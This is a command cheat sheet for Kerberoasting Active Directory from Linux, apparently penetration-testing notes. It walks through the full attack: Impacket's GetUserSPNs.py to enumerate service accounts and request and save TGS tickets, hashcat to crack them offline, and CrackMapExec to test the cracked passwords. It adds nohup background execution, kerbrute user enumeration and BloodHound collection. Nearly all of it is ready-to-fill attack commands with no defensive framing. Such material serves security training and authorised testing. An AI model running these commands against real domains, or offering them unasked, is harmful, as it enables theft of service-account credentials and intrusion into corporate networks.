# 14.Kerberoasting - from Linux

**Installation (if needed):**

```bash
sudo python3 -m pip install .  # Installs Impacket from the current directory
sudo pip3 install impacket    # Alternative, if available from pip repositories
```

**Help:**

```bash
GetUserSPNs.py -h  # Displays help options
```

**List SPNs (all):**

```bash
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>  # Replace <DC_IP>, <DOMAIN>, and <USER> with actual values. Prompts for password.
```

**Request TGS Tickets (all):**

```bash
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request
```

**Request TGS Ticket (specific user):**

```bash
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request-user <TARGET_USER>
```

**Request and Save TGS Ticket:**

```bash
GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request-user <TARGET_USER> -outputfile <OUTPUT_FILE>  # Replace <OUTPUT_FILE> with the desired filename.
```

***

#### Hashcat (Linux):

**Crack TGS Ticket:**

```bash
hashcat -m 13100 <TGS_FILE> <WORDLIST>  # Replace <TGS_FILE> with the ticket file and <WORDLIST> with the wordlist path.
```

```bash
hashcat -m 13100 <TGS_FILE> <WORDLIST> --force  # Adds the --force option, useful when hashcat detects potential errors with the hash.
```

```bash
hashcat -m 13100 <TGS_FILE> <WORDLIST> -o <CRACKED_FILE>  # Adds the -o option to output the cracked password to a file.
```

***

#### CrackMapExec (Linux):

**Test Authentication:**

```bash
sudo crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD>
```

***

#### **Verification of Extracted Hashes:**

Before cracking, verify the extracted TGS hashes:

```bash
strings <TGS_FILE> | head
hexdump -C <TGS_FILE> | less
```

This helps confirm that the ticket is properly extracted.

***

#### **Interactive Shell Variants:**

If running `GetUserSPNs.py` over SSH or in a restricted shell, use:

```bash
python3 -c "import os; os.system('GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>')"
```

Or execute the script in a non-interactive mode:

```bash
nohup python3 GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER> -request &
```

This ensures the process runs even after logging out.

***

#### **Alternative Tools for SPN Enumeration:**

1.  **kerbrute** - Fast SPN brute-forcing and enumeration.

    ```bash
    ./kerbrute userenum -d <DOMAIN> --dc <DC_IP> userlist.txt
    ```
2.  **BloodHound** - Visualizing AD attack paths.

    ```bash
    neo4j console &
    bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -c All
    ```
